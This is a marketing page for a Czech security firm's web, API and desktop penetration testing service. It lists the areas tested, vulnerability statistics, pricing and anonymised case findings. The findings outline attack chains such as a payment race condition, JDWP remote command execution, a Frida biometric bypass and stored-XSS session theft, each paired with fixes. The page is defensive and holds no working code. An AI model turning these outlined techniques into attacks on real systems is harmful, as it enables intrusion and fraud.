Web Application & API Penetration Testing
INTEGRA's certified ethical hackers conduct in-depth penetration tests of web applications and APIs following the OWASP WSTG methodology. We uncover vulnerabilities in application logic, authorization and authentication — and deliver clear remediation priorities with developer support throughout the fix process.
How we test web applications and APIs
We don't rely on scanners alone. Every test is led by a certified penetration tester who understands application logic — finding vulnerabilities in authentication, authorisation and business logic exactly as a real attacker with malicious intent would.
Key areas of penetration testing
We cover web applications, REST and GraphQL APIs, and desktop clients. Every test is tailored to the specific stack, authentication scenarios and business logic of your application.
- Reconnaissance — frameworks, versions, hidden endpoints and admin interfaces
- Authentication — brute-force, 2FA bypass, JWT weaknesses, session fixation
- Authorisation — IDOR, BOLA, privilege escalation, missing access controls
- Input validation — SQL injection, Stored/Reflected XSS, SSRF, Command Injection, LFI/RFI
- Session management — session hijacking, insecure cookies, CSRF
- Business logic — price manipulation, limit bypasses, workflow abuse
- Configuration — HTTP headers, verbose error messages, exposed debug endpoints
- Authentication & tokens — weak JWT, missing expiry, API key leakage in responses
- Authorisation — Broken Object Level Authorization (BOLA/IDOR), BFLA
- Rate limiting — missing throttling, object enumeration, DoS vectors
- Input validation — injection via API parameters, Mass Assignment, endpoint fuzzing
- GraphQL specifics — introspection abuse, query depth attacks, batching abuse
- Exposed endpoints — shadow APIs, undocumented endpoints, deprecated versions
- Error handling — verbose errors exposing stack traces and internal structure
- Static analysis — binary decompilation, extraction of hardcoded secrets
- Network communication — API call analysis, certificate pinning bypass, MITM
- Local storage — insecure storage of sensitive data, plaintext credentials
- Protection mechanisms — licence control bypass, anti-tamper circumvention
- Supply chain — update process manipulation, DLL hijacking
- Code injection — hooking, runtime patching, code injection vectors
- Reverse engineering — API key extraction, communication protocol reconstruction
Most common vulnerabilities in web applications
This ranking is based on 1,619 findings from 218 penetration tests conducted in 2025. The data shows where Czech and Slovak applications have the greatest weaknesses — and where attackers look first.
Broken Access Control
Missing or incorrect access controls — IDOR, BOLA, missing authorisation and privilege escalation. The most common critical vulnerability in SaaS and B2B applications.
OWASP A01:2025Security Misconfiguration
Default credentials, exposed debug endpoints, missing security HTTP headers and verbose error messages in production environments.
OWASP A02:2025Software Supply Chain Failures
Compromised open-source libraries, outdated dependencies with known CVEs and typosquatting attacks across npm, pip and Maven ecosystems. The fastest-growing category year-on-year.
OWASP A03:2025Cryptographic Failures
Weak encryption, transmission of sensitive data over HTTP, hardcoded API keys in source code or git history, and use of MD5/SHA-1 for password storage.
OWASP A04:2025Injection (SQLi, XSS, SSTI)
SQL injection, Stored/Reflected XSS, command injection and SSTI — still prevalent in legacy systems and applications without modern frameworks and ORM layers.
OWASP A05:2025Real findings from penetration tests
Anonymised examples of critical and high-severity findings from production application testing in banking, SaaS and e-commerce. All are real INTEGRA projects from 2024–2025.
- GraphQL schema enumeration via introspection query
- IDOR identified in
/api/users/{id}/datawith no authorisation check - Access to sensitive data of 10,000+ tenants without authentication
- No rate limiting → real-time brute-force enumeration of IDs feasible
- Server-side authorisation checks on every API request
- Rate limiting and IP throttling at the API gateway layer
- Disable GraphQL introspection in production environments
- POST
/api/v1/payments/internalintercepted via Burp Suite proxy - 10 identical requests sent in parallel within the race window
- Race condition → 4 of 10 requests processed successfully in parallel
- Result: 4× transaction amount multiplied — demonstrated at $40,000
- Idempotent transactions with distributed mutex locks (Redis)
- Database-level unique constraints on transaction ID
- Real-time monitoring of anomalous transaction patterns
- Network scan revealed open port 9009 (Java Debug Wire Protocol)
- Active JVM remote debugging identified in production
- JDWP protocol exploited →
Runtime.exec()called via debugger - Remote execution of arbitrary OS commands with no authentication required
- Immediate JDWP shutdown on all production servers
- Firewall rules audit and tightening — allowlist-based access
- Automated open port scanning integrated into CI/CD pipeline
- iOS IPA binary reverse-engineered using Frida
- Client-side biometric check (TouchID/FaceID) identified without server-side validation
- Authentication bypassed by runtime binary patching via Frida hook
- Full access to banking features without valid credentials
- Authentication logic moved server-side — token-based auth with short TTL
- Certificate pinning implemented for all API communication
- Jailbreak and runtime manipulation detection (Frida/Substrate detection)
- JavaScript payload injected into the "Product Name" field (Stored XSS)
- Payload rendered in admin dashboard without output sanitisation
- Administrator session cookie automatically stolen on dashboard load
- Admin account taken over — full access to e-commerce management
- Output encoding on all user-controllable outputs
HttpOnlyandSecureflags set on session cookies- Content Security Policy (CSP) headers deployed with strict-dynamic
Everything you need to know about web application penetration testing
Answers to the most common questions from developers, CTOs and security managers. Didn't find what you need? Get in touch.
A web application penetration test is a controlled attack by an ethical hacker that simulates real-world attacker techniques. The goal is to uncover security vulnerabilities before they are exploited in production. We test exclusively using the OWASP WSTG methodology and real-world attack scenarios — not just automated scanners.
The project runs in four phases. Kick-off & Scope (2–3 weeks): we define the scope, testing environment and sign the NDA and Statement of Work. Testing (1–2 weeks): manual pentest combined with automation per OWASP WSTG. Report (1 week): structured security report with CVSS scoring and proof of concept. Remediation & Retest: results presentation to the development team and optional retest of fixed vulnerabilities.
Pricing typically ranges between 80,000 – 200,000 CZK. Key factors are the number of testable endpoints, complexity of authentication scenarios (SSO, OAuth2, 2FA), required testing depth and whether it's white box, grey box or black box. We provide a detailed quote within 24 hours of a free consultation.
Before any work begins we sign a non-disclosure agreement (NDA) and Statement of Work with a precisely defined scope. All findings are delivered exclusively to authorised contacts in encrypted form. INTEGRA has extensive experience with projects in banking, public sector and critical infrastructure — secure handling of sensitive information is our standard.
We recommend at least once a year and after every major application change:
- Deployment of new features or architectural refactoring
- Migration to new infrastructure or a cloud provider
- Addition of third-party integrations (payment gateway, SSO, new API)
- Before product launch or a security audit (NIS2, ISO 27001)
- Detailed technical description of every finding with reproduction steps
- Proof of concept — concrete exploitation evidence (screenshot, video, HTTP request)
- CVSS 4.0 severity rating (Critical / High / Medium / Low / Informational)
- Specific remediation guidance with actionable steps for developers and DevOps
- Executive summary for management and CISO in a clear, accessible format
- Optional retest after fixes — verification of remediation (offered as a separate service)
It is not always explicitly mandated, but in practice a penetration test is the standard evidence of cyber risk management for:
- NIS2 — required for entities in critical infrastructure and digital services
- DORA — TLPT (Threat-Led Penetration Testing) for qualifying financial institutions
- ISO 27001 — recommended as part of Annex A controls A.12.6 and A.14.2
- PCI DSS — penetration testing explicitly required for applications processing payment data
Find out how secure your application really is
Book a free consultation with our security team. We will assess your situation and propose the optimal penetration test scope tailored specifically to your application.